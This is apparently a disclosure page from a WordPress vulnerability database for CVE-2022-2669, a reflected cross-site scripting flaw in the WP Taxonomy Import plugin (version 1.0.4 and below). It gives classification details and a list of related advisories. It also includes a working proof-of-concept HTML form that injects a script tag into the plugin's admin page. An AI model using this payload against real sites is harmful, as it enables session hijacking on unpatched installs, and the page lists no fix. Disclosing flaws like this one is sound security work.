WP Taxonomy Import <= 1.0.4 – Reflected Cross-Site Scripting | CVE 2022-2669 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
<body>
<form method="post" action="https://example.com/wp-admin/options-general.php?page=wp-taxonomy-import%2Fwp-taxonomy-import.php">
    <input id="bulkCategoryList" type="text" name="bulkCategoryList" value="</textarea><script>alert(/XSS/)</script>" />
    <input id="postsubmit" type="submit" name="submait" value="submit" />
</form>
</body>
</html>

Affects Plugins

wp-taxonomy-import

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

kaikaix

Submitter

kaikaix

Submitter website

https://kaikaix.github.io

Verified

Yes

WPVDB ID

792d9f22-abf6-47b2-a247-d0cdb705cd81

Timeline

Publicly Published

2022-08-22 (about 3 years ago)

Added

2022-08-22 (about 3 years ago)

Last Updated

2023-05-11 (about 2 years ago)

Other

Published

Title

Published

2024-10-24

Title

Beaver Builder < 2.8.3.9 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2022-09-08

Title

Culture Object < 4.1.1 - Admin+ Stored Cross-Site Scripting

Published

2024-08-16

Title

Newsletters < 4.9.9 - Reflected Cross-Site Scripting

Published

2025-09-22

Title

Magento 2 WordPress Integration <= 1.4.2.1 - Admin+ Stored XSS

Published

2024-05-06

Title

WPCS ( WordPress Custom Search ) <= 1.1 - Authenticated (Administrator+) Stored Cross-Site Scripting